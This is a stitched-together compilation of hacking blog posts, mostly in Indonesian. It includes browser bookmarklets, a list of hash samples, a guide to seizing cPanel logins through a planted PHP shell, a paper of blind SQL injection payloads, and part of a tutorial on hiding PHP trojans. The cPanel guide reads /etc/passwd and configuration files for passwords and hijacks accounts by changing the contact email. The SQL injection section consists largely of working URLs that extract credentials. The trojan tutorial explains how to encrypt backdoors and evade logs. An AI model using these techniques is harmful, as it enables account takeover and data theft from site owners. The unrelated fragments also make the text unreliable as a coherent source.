javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

3.buka google.com dan image akan naik turun
Code:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.mkssddddddddddd=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

4.buka google.com dan image akan muter2
Code:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.right=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

5.buka sembarang web yang ada imagenya dan image akan muter2
Code:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.getElementsByTagName("img"); DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=(Math.sin(R*x1+i*x2+x3)*x4+x5)+"px"; DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+"px"}R++}setInterval('A()',5); void(0);

6.buka forum apa saja misalkan http://yogyacarderlink.web.id dan tulisan akan warna warni di forum
Code:

javascript:i=0;c=["red","green","blue","yellow","magenta","orang e"," pink","violet"]; a=document.links;setInterval('i++;a[i % document.links.length].style.color=c[i % c.length]',10);void(0); alert("Enjoy at FTI!!")

7.buka web apa saja dan akan ada alert
Code:

javascript:alert('Hello Artupas...');

(Kata Hello Artupas bisa anda ganti dengan nama anda atau yg lainnya)

8.edit commentbox di friendster.com by alvin
Code:

javascript:function heightIt(){document.getElementById("commentTextArea").style.height="500px";}heightIt();void(0);

9.Kamu bisa membuat domain namamu sendiri gratis dengan menggunakan Hotmail, misalnya
artupas@keren.com
Kalau kamu mau register di email @live.com (Microsoft’s competition for Gmail, 2 GB space), ikuti aja langkah² berikut ( lebih baik kalo pake IE) :
a. Masuk ke Live.com link, lalu klik “sign up”
b. Setelah page berikutnya selesai loading, copas code berikut ini ke address bar lalu enter.
Code:

javascript: var p = 'live.'; var ds = new Array('com', 'cn', 'fr', 'it', 'nl', 'org' ,'in', 'gov'); for (var i = 0; i < ds.length; i ++){document.getElementById('idomain').options[i] = new Option(p + ds[i], p + ds[i])} alert('Additional Domains Added! Thanks --=||Deep||=--and--=||Freeze||=--! ');

live. nya bisa di ganti2 terserah lo
c. Sekarang kamu bisa pilih @live.com (atau yg lainnya) yang kamu suka
Cuma dengan sedikit modifikasi Javascript ngasih kita alamat email yg kita mau.
d.isi form sampai selesai done
10.Update coming soon dan semua code di atas bisa di modifikasi.

Metode Enkripsi Pemrograman Web

Enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus.
Keuntungan dari enkripsi adalah kode asli kita tidak dapat dibaca oleh orang lain.

Berikut ada beberapa macam metode enkripsi yang dapat anda digunakan pada pemrograman website seperti PHP, ASP dan yang lainnya.

1. Metode Enkripsi MD2
Message-Digest algortihm 2 (MD2) adalah fungsi hash cryptographic yang dikembangkan oleh Ronald Rivest pada tahun 1989.
Algoritma dioptimalkan untuk komputer 8-bit. MD2 yang ditetapkan dalam RFC 1319.
Meskipun algoritma lainnya telah diusulkan sejak dulu, seperti MD4, MD5 dan SHA, bahkan sampai dengan 2004 [update] MD2 tetap digunakan dalam infrastruktur kunci publik sebagai bagian dari sertifikat yang dihasilkan dengan MD2 dan RSA.

2. Metode Enkripsi MD4
Message-Digest algortihm 4(seri ke-4) yang dirancang oleh Profesor Ronald Rivest dari MIT pada tahun 1990.
Panjangnya adalah 128 bit.
MD4 juga digunakan untuk menghitung NT-hash ringkasan password pada Microsoft Windows NT, XP dan Vista.

3. Metode Enkripsi MD5
MD5 adalah salah satu dari serangkaian algortima message digest yang didesain oleh Profesor Ronald Rivest dari MIT (Rivest, 1994).
Saat kerja analitik menunjukkan bahwa pendahulu MD5 yaitu MD4 mulai tidak aman, MD5 kemudian didesain pada tahun 1991 sebagai pengganti dari MD4 (kelemahan MD4 ditemukan oleh Hans Dobbertin).
Dalam kriptografi, MD5 (Message-Digest algortihm 5) ialah fungsi hash kriptografik yang digunakan secara luas dengan hash value 128-bit.
Pada standart Internet (RFC 1321), MD5 telah dimanfaatkan secara bermacam-macam pada aplikasi keamanan, dan MD5 juga umum digunakan untuk melakukan pengujian integritas sebuah file.

4. Metode Enkripsi SHA
SHA adalah serangkaian fungsi cryptographic hash yang dirancang oleh National Security Agency (NSA) dan diterbitkan oleh NIST sebagai US Federal Information Processing Standard.
SHA adalah Secure Hash Algoritma. Jenis-jenis SHA yaitu SHA-0, SHA-1, dan SHA-2.
Untuk SHA-2 menggunakan algoritma yang identik dengan ringkasan ukuran variabel yang terkenal sebagai SHA-224, SHA-256, SHA-384, dan SHA-512.

5. Metode Enkripsi RC4
RC4 merupakan salah satu jenis stream cipher, yaitu memproses unit atau input data pada satu saat. Unit atau data pada umumnya sebuah byte atau bahkan kadang kadang bit (byte dalam hal RC4).
Dengan cara ini enkripsi atau dekripsi dapat dilaksanakan pada panjang yang variabel.
RC4 adalah penyandian stream cipher yang dibuat oleh Ron Riverst pada tahun 1987 untuk pengamanan RSA.
Algoritmanya didasarkan pada permutasi acak.

6. Metode Enkripsi Base64
Base64 adalah sistem untuk mewakili data mentah byte sebagai karakter ASCII.
Base64 menyediakan 6-bit encoding 8-bit ASCII karakter.
Base64 merupakan format yang dicetak menggunakan karakter, memungkinkan binari data yang akan dikirim dalam bentuk dan email, dan akan disimpan di database atau file.

Ini ada beberapa sample atau contoh lumayan banyak namun tak ada penjelasan bagaimana algoritmanya...

ADLER32: 0a020106
CRC-16: 6647
CRC-16-CCITT: 2bbd
CRC-32: 44ce9c5f
CRC-32B: 760d0e88
DES(Unix): 757va0lgB4kpM
Domain Cached Credentials: 6157b1b5dc56cda30bda606bfd021284
FCS-16: 4c8f
GHash-32-3: 000af961
GHash-32-5: 0713fc69
GOSTR34.11-94:0e8cd409a23c2e7ad1c5b22b101dfa16720550dc547921c7a099b75c7f405fd4
Haval128: 4691d973de3ad6d79321d7bff4757b59
Haval128(Base64): RpHZc9461teTIde/9HV7WQ==
Haval128(HMAC): 4691d973de3ad6d79321d7bff4757b59
Haval160: 21b54cd74fb54c7911a1e7077d5ac4fc90df7228
Haval160(Base64): IbVM10+1THkRoecHfVrE/JDfcig=
Haval160(HMAC): 21b54cd74fb54c7911a1e7077d5ac4fc90df7228
Haval192: 239169f332a1231516483b7122a23dc90fc026201b7ccedd
Haval192(Base64): I5Fp8zKhIxUWSDtxIqI9yQ/AJiAbfM7d
Haval192(HMAC): 239169f332a1231516483b7122a23dc90fc026201b7ccedd
Haval224: 0b3fb65f0ca5628e1674cd34f3e56a00e151e2241eb07fafd07c663b
Haval224(Base64): Cz+2XwylYo4WdM008+VqAOFR4iQesH+v0HxmOw==
Haval224(HMAC): 0b3fb65f0ca5628e1674cd34f3e56a00e151e2241eb07fafd07c663b
Haval256: 77c33a964e34c9feb8fec535b8632572e570533a47cd68a51fd633ea127c8a37
Haval256(Base64): d8M6lk40yf64/sU1uGMlcuVwUzpHzWilH9Yz6hJ8ijc=
Haval256(HMAC):77c33a964e34c9feb8fec535b8632572e570533a47cd68a51fd633ea127c8a37
Lineage II C4: 0x35f239833eba3637029bbdbd70eacccc
MD2: 3e3e6b0e5c1c68644fc5ce3cf060211d
MD2(Base64): Pj5rDlwcaGRPxc488GAhHQ==
MD2(HMAC): 3e3e6b0e5c1c68644fc5ce3cf060211d
MD4: f9d4049dd6a4dc35d40e5265954b2a46
MD4(Base64): +dQEndak3DXUDlJllUsqRg==
MD4(HMAC): f9d4049dd6a4dc35d40e5265954b2a46
MD5: 21232f297a57a5a743894a0e4a801fc3
MD5(HMAC): 21232f297a57a5a743894a0e4a801fc3
MD5(Base64): ISMvKXpXpadDiUoOSoAfww==
MD5(APR): $apr1$uR1Bf.3/$WAXAbNCkK0iuc5BT0lIzJ.
MD5(Unix): $1$Iem9Pn/M$.qqeH6cPqU3n42plTWcCe1
MD5(phpBB3): $H$9MEWSIwrGxt2KAgAh6h9XcEYNwZrBu/
MySQL: 43e9a4ab75570f5b
MySQL v5.x: 4acfe3202a5ff5cf467898fc58aab1d615029441
NTLM: 209c6174da490caeb422f3fa5a7ae634
RipeMD128: ed4060702b42311eb4f6c707b11f1999
RipeMD128(Base64): 7UBgcCtCMR609scHsR8ZmQ==
RipeMD128(HMAC): ed4060702b42311eb4f6c707b11f1999
RipeMD160: 7dd12f3a9afa0282a575b8ef99dea2a0c1becb51
RipeMD160(Base64): fdEvOpr6AoKldbjvmd6ioMG+y1E=
RipeMD160(HMAC): 7dd12f3a9afa0282a575b8ef99dea2a0c1becb51
RipeMD256: f87f405941cf41f0c2b5b1939e8a1f9edac7e03c7ceb1491ca5ef467f3bdc6db
RipeMD256(Base64):+H9AWUHPQfDCtbGTnoofntrH4Dx86xSRyl70Z/O9xts=
RipeMD256(HMAC):f87f405941cf41f0c2b5b1939e8a1f9edac7e03c7ceb1491ca5ef467f3bdc6db
SHA-1: d033e22ae348aeb5660fc2140aec35850c4da997
SHA224: 58acb7acccce58ffa8b953b12b5a7702bd42dae441c1ad85057fa70b
SHA256: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
SHA384:9ca694a90285c034432c9550421b7b9dbd5c0f4b6673f05f6dbce58052ba20e4248041956ee8c9a2ec9f10290cdc0782
SHA512:c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
MySQL5 : C512546FC98FD99ADEAAC0D6DA38C1FF72E5F962
LM : AAD3B435B51404EE62AA45053C7208D1
vbulletin : b11666b5be0c97e58123f2dde94a5b2f:MySQL : 711de2ca756942dc
IPB :d764d51a989b33d9a1853ae2a767ee42:!@'jy
mysql323 : 6a534c81610e9992
SMF : 4312579034c651b689a1bf61a24d0e9d0040de55
e107: 4ab846c48db58da9999ef6e1800f3bf9
DES(Unix) : 84OrGPdVc./NU
*NIX Hashes : saQckLSwoF.wM
unix*: ¡·%*©G+wö mRåâ±m‰ë

Mencari Login Cpanel login dan SSH ( Inject )

Mungkin ini jadul atau gimana gw juga cuman mau share aja barang kali buat yang pengen cari-cari CPANEL and SSH. ok kita langsung aja dah ke TKP...

Barang yg perlu disiapin nih ...

1. Komputer dgn koneksi internet.
2. Phpshell
3. kesabaran
4. Doa tentunya
5. rokok ma kopi juga jangan lupa

Pertama kita buka phpshell ato target injek kita ...
untuk sebagai contoh akan kasih situs dibawah ini

http://www.abcd.net.au/

Langkah pertama :

cat /etc/passwd <--- guna nya buat tau jumlah user yg ada disana ....

contoh :

lagerhus:32050:32051::/home/lagerhus:/usr/local/cpanel/bin/jailshell
ltngrupp:32051:32052::/home/ltngrupp:/usr/local/cpanel/bin/jailshell
melodin:32054:32055::/home/melodin:/usr/local/cpanel/bin/jailshell
monalisa:32055:32056::/home/monalisa:/usr/local/cpanel/bin/jailshell
sandvika:32056:32057::/home/sandvika:/usr/local/cpanel/bin/jailshell
storvilt:32057:32058::/home/storvilt:/usr/local/cpanel/bin/jailshell
supercup:32058:32059::/home/supercup:/usr/local/cpanel/bin/jailshell

ok....

langkah kedua ....
pilih salah satu user ...

contoh :
/home/monalisa <-- aku pilih ini ...
dan masuk ke folder public_html ...

/home/monalisa/public_html

langkah ke tiga coba kalian ls -al dan perhatikan saut2 nama file itu

contoh:
ls -al dari /home/monalisa/public_html

344337 drwxr-x--- 27 monalisa nobody 4096 Aug 29 09:31 .
5718289 drwx--x--x 11 monalisa monalisa 4096 Aug 29 09:53 ..
344348 -rw-r--r-- 1 monalisa monalisa 690 May 11 02:14 .htaccess
344088 -rwxr-xr-x 1 monalisa monalisa 56216 Feb 26 2006 CHANGELOG.php
344354 -rwxr-xr-x 1 monalisa monalisa 3429 Feb 26 2006 COPYRIGHT.php
344351 -rwxrwxrwx 1 monalisa monalisa 1122 Jul 20 18:18 INSTALL.php
344342 -rwxrwxrwx 1 monalisa monalisa 17977 Sep 17 2005 LICENSE.php
10240263 drwxrwxrwx 9 monalisa monalisa 4096 Dec 15 2005 administrator
4194486 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 bancorotto
8176127 drwxr-xr-x 9 monalisa monalisa 4096 Mar 24 14:00 bilder
9846992 drwxrwxrwx 2 monalisa monalisa 4096 Dec 21 2005 bilder_old
4194627 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 byrakrat
32993 drwxrwxrwx 2 monalisa monalisa 4096 May 30 13:04 cache
4194623 drwxrwxrwx 16 monalisa monalisa 4096 Feb 22 2006 cafebeirut
5095694 drwxrwxrwx 2 monalisa monalisa 4096 Oct 1 2005 cgi-bin
180461 drwxrwxrwx 25 monalisa monalisa 4096 May 31 12:00 components
344140 -rwxr-xr-x 1 monalisa monalisa 2852 Jul 25 12:06 configuration.php
344141 -rwxr-xr-x 1 root root 2855 Jul 17 17:52 configuration.php~
4194484 drwxrwxrwx 16 monalisa monalisa 4096 Aug 22 15:18 davinci

dari sini kita bisa liat bahwa user monalisa menggunakan mambo (yang laen) ...

langkah ke empat yaitu baca file yg bernama configuration.php ato config.php ato db.php
contoh:
dalam kasus ini file yg ada adalah configuration.php
jadi kita cat configuration.php
hasilnya :

$mosConfig_live_site = ´http://www.monalisahuset.no´;
$mosConfig_locale = ´no_NO´;
$mosConfig_mailer = ´mail´;
$mosConfig_mailfrom = ´post@monalisahuset.no´;
$mosConfig_ml_support = ´0´;
$mosConfig_multipage_toc = ´1´;
$mosConfig_offline = ´0´;
$mosConfig_offline_message = ´This site is down for maintenance.
Please check back again soon.´;
$mosConfig_offset = ´-2´;
$mosConfig_offset_user = ´0´;
$mosConfig_pagetitles = ´1´;
$mosConfig_password = ´jqUf#(l´;

ok dari sini kita bisa mendapat pass dari user tersebut
pass na adalah $mosConfig_password = ´jqUf#(l´;

langkah ke lima mengetahui bagaimana cara utk login ke dalam cpanel ato ssh ...
setelah kita mendapat kan passwordnya kita coba utk login ke cpanel nya dengan cara caranya ketik /dns di Mirc

contoh:

[15:02] * Dns resolving www.abcd.net.au
[15:02] * Dns resolved www.abcd.net.au to 62.70.54.76

dari situ kita mendapat kan ip server 62.70.54.76
utk login cpanel kita bisa menggunakan http://:2082 dalam hal ini http://62.70.54.76:2082

setelah itu kita masukan username dan pass ....
utk username kita dapat dari cat /etc/passwd dan dalam kasus ini user yg kita pake adalah monalisa, jadi utk login kita masukan adalah
username : monalisa
password : jqUf#(l

dan anda tlah masuk kedalam cpanel nya ...


Note:
1. Tidak smua user mempunyai cpanel ato ssh ... ini dapat kita lihat dari cat /etc/passwd tandanya : /usr/local/cpanel/bin/jailshell <--- berarti user ini memiliki cpanel dan shell tapi jika : /bin/false <-- tandanya cpanel nya dia tidak punya ato shellna.

2. Beberapa server sudah mulai pintar menyembunyikan pass mreka ... salah satu trik utk medapat kan pass mereka coba kalian baca index.php ato admin.php disana akan di cantumkan letak dimana user name dan password nya di sembunyikan.

3. satu saran dari saya setelah kmu masuk ke cpanel jgn merubah password mereka tapi rubah aja contact information masukan email kalian disana dan klo pass udah dirubah tinggal reset password dan pass na akan kekirim ke email kalian

mungkin itu aja yang bisa gw share, maaf jika ada yang salah atau marah karena udah tahu, ini cuman pembelajaran aja, maaf sebelumnya....

Methods of Quick Exploitation of Blind SQL Injection

# Title: Methods of quick exploitation of blind SQL Injection
# Date: January 25th, 2010
# Author: Dmitry Evteev (Positive Technologies Research Lab)
# Contacts: http://devteev.blogspot.com/ (Russian); http://www.ptsecurity.com/


In this paper, the quickest methods of Blind SQL Injection (error-based) exploitation are
collected and considered by examples of several widespread databases.


---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the
database, but sometimes we cannot exploit the discovered vulnerability using classic methods
(e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such
cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?!
It can be adapted for line-by-line reading of data from a database or a file system, and this
technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take
advantage of such opportunity! In this paper, we will consider the methods that allow one to use
the database error messages as containers for useful data.

---=[ 0x02 ] Error-Based Blind SQL Injection in MySQL

At the turn of the last year, Qwazar has got a universal technique of exploitation of Blind SQL
Injection vulnerabilities in applications operating under MySQL database from the depths of antichat
(I wonder what else can be found in these depths). It should be mentioned that the proposed
technique is rather complicated and opaque. Here is an example of applying this universal approach
to MySQL>=5.0:

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

If the table name is unknown, which is possible for MySQL < 5.0, then one has to use more complex
queries based on the function rand(). It means that we will often fail to obtain the necessary data
with one http query.

mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1

Here is an example of practical use of the method for database structure restoration:

http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
...

The technique proposed by Qwazar is applicable to all MySQL versions including 3.x, which still can
be found in the Global Network. However, taking into consideration the fact that sub-queries were
implemented in MySQL v. 4.1, application of the described method to earlier versions becomes much
more difficult.

---=[ 0x03 ] Universal Exploitation Techniques for Other Databases

Recently, the hacker under the pseudonym TinKode has successfully conducted several attacks using
Blind SQL Injection vulnerabilities in a web server in the domain army.mil. In the course of
attacking web applications operating under MSSQL 2000/2005 control, the hacker has demonstrated
a rather interesting method to obtain data from a database. The technique used by TinKode in based
on the fact that MsSQL generates an error in case of incorrect data type conversion, which in turn
allows one to transfer useful data in the returned error message:

select convert(int,@@version);

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86)
Jul 9 2008 14:43:34
Copyright (c) 1988-2008 Microsoft Corporation
Enterprise Edition on Windows NT 6.1 (Build 7600: ) (VM)
' to data type int.

Consequently, if Blind SQL Injection is exploited using the described method, then it becomes
possible to obtain the necessary data from Microsoft SQL Server rather quickly. For example, one can
restore the database structure:

http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
...

If we notice that Sybase ASE, just like MS SQL Server, is based on Transact-SQL, it is plausible to
assume that the described technique is applicable to this DBMS. Testing has strongly confirmed
this assumption. All examples given for MsSQL hold true for the Sybase database, too.

Similar manipulations with type conversion were conducted for MySQL. The conducted experiments showed
that in case of incorrect type conversion, MySQL returns non-critical error messages that do not
allow one to attain the same aims for Blind SQL Injection exploitation. Meanwhile, experiments with
PostgreSQL were successful:

web=# select cast(version() as numeric);
ERROR: invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719 [FreeBSD]"

To obtain useful data by exploiting an SQL Injection vulnerability in an application operating under
PostgreSQL control, one can use the following queries:

http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
...

---=[ 0x04 ] In the Depths of Oracle

I had gathered an interesting collection of quick methods of Blind SQL Injection exploitation, but
I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a
small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the
Oracle environment. Then, my attention was attracted by the functions of interaction with the XML
format. After a short investigation, I found a function XMLType() that returns the first symbol of
requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Anyway, that's something. Now we can use the function substr() to read the desired information
symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:

select XMLType((select substr(version,1,1) from v$instance)) from users;
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be
light-heartedly to stop at that. We will go further.

After investigating the function XMLType()in detail, I managed to find an analogous method to place
data into the error message, which can be also applied to other databases:

SQL> select XMLType((select '' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t
implement automated type conversion. Therefore, the following query will cause an error:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data
line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType()
truncates the returned data after certain symbols, e.g. space character and the "at" sign (“@”).

However, there is no problem we could not solve;) To dispose of the problem of type conversion, one
can apply the function upper(). Line-by-line data reading can be implemented using the following
simple construction:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can
be excluded from the sent query using numeric representation of symbols (ascii), which will later
allow one to bypass filtering at the stage of processing the data that comes into the application.
Thus, the resulting query becomes:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per
one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--

To decode the data obtained from an application using the described method of SQL Injection
exploitation, one can use, for example, the following standard Oracle function:

SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual;
UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>

---=[ 0x05 ] Resume

Thus, we obtained universal and quick techniques of error-based Blind SQL Injection exploitation for
the following DBMSs: PostgreSQL, MSSQL, Sybase, MySQL version >=4.1, and Oracle version >=9.0. To
identify the database version using one http request, the following constructions can be applied:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
OR
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

---=[ 0x06 ] Curtain

Sometimes, it seems that everything has been already invented and there is no sense is searching for
something new. As you could see from the history of the development of Blind SQL Injection exploitation,
it is not the case. There is always enough space for new investigations. Wish you good cracking!:)

---=[ 0x07 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind.html
http://qwazar.ru/?p=7 (Russian)
http://tinkode.baywords.com/index.php/2010/01/the-center-for-aerosol-research-nasa-website-security-issues/

---=[ 0x08 ] About Research Lab

Positive Technologies Research Lab and SecurityLab are willing to cooperate with independent researches
in the analysis of the discovered vulnerabilities, in contacts with software vendors and CVE Number
Reservation process. The vulnerabilities will be published in sections "Laboratory" and PT-advisory.
The name of the researches will be preserved.

Our disclosure policy: en.securitylab.ru/lab/disclosure-policy.php

Introduction to php trojans

|=--------------------------------------------------------------------------------------------------=|
|=------------------------------=[Introduction to php trojans ]=------------------------------------=|
|=------------------------------------=[ 28 januari 2010 ]=-----------------------------------------=|
|=--------------------------------=[ By shad0w_crash ]=-------------------------------------------=|
|=--------------------------------------------------------------------------------------------------=|


Index

1) Introduction
2) Assumptions
3) Code encryption
4) Request hiding
5) Injection
6) Measures
7) Contact

Attach 1: Most easy PHP trojan.
Attach 2: .Htaccess.

---------------------------------------------------------------------------------------------------------
1. Introduction

This is my second tutorial on something so feel free to send me feedback. The
aim of this tutorial is providing some theory about creating a scripting trojan (in this case php). Not all the examples are perfectly argued so there's room
for discussion. The whole trojan writing thing is one big taboo, i Hoped by writing this document their could be some discussion about it. I do not want
site's to get infected by a trojan. Therefore I talked a lot in pseudo code and didn't make a working version (please don't build one).

---------------------------------------------------------------------------------------------------------
2. Assumptions

To create an less detectable PHP trojan we have some difficulties.

* When you access them the request'll apear in the logfiles.
* When an extra file appears in web directory it'll be detected by a human.
* When you add code to an index file a programmer will find it.
* When you add code to the index file it'll be overwritten by the next update.

This paper will not provide a solution for all of this problems. To provide a better overvieuw this are some
assumptions I made:

- When an update of the webapplication takes place and all files are replaced they probably know something
messed with their code, so your code wouldn't have a long livetime after all. For stronger trojans
you should not be on this level of the operating system!
- If webmasters make filehashes of the files and compare them weekly the described methods will not work either.
(I know there's a possibility to fix this by finding a collision in the admins hash but that's to much for now)!
- A webmaster isn't able to crack (T)DES, GOST, AES, etc.

---------------------------------------------------------------------------------------------------------
3. Code encryption

The idea to create a less detectable PHP trojan we have to have a working php trojan (see attach 1). The working
of the suggested less detected trojan is to encrypt the original trojan. The encryption text is saved in a function(f1)
wich:

1) Decrypts the file to a randomlynamed temporary .php file.
2) Gets the original request and sends it to the temp file.
3) Removes the temp file.

We now solved a few problems. The programmer doesn't now and can't know what the function does. Also possible code
analyses tools will not figure it out, since the only way is to decrypt the string with the password. Also
f1 could be inserted index.php remark that the function should be only executed if a specific boolean is enabled
(else every request to the website'll also invoke the trojan).

The best place to store this function are files like newsletter.php and login.php. Since the libary files and index
files get updated most of the time.

---------------------------------------------------------------------------------------------------------
4. Request hiding

A challenge left is the fact that every request'll apear in in the logfiles. I'll distinguish 2 requests here.
The first on to the file wich contains f1. And the second the request f1 does to the temporary decrypted file.

When you see a normal httprequest there's a lot more information then just the GET or POST. Lots of fields could be used
like Accept-Language, Useragent and more *1. The default $_SERVER for the useragent etc isn't all info php can provide.
By using getallheaders() you could find all headers.
So we got 2 options:

- Extend our request with an new value (violating the RFC, but less change of access logs entry).
- Use an value chosen for something of the RFC (and abuse it, change of IDS detects it becomes higher).

The function could now get it's variables to authenticate and execute the internal proces.
*** WARNING *** this is security trough obsecurity because it's always possible to snif and replay the attack.
Even when the server uses ssl theirs always a change the webadmin put on an better log tool or local sniffer.
He could now replay the attack and if he looks good he'll notice that it's an trojan

To avoid this we've to send an extra variable to the server. An new sha512 hash wich replaces the old one.
Now it's impossible to replay the attack because the password only work once (good luck reminding these).
Also this gives a possible cassing issue. The seccond on is fixed more easy.

We extend f1

1) Create a randomlynamed directory
2) Write .htaccess to the directory
3) Decrypts the file to a randomlynamed temporary .php file.cd
4) Gets the original request and sends it to the temp file.
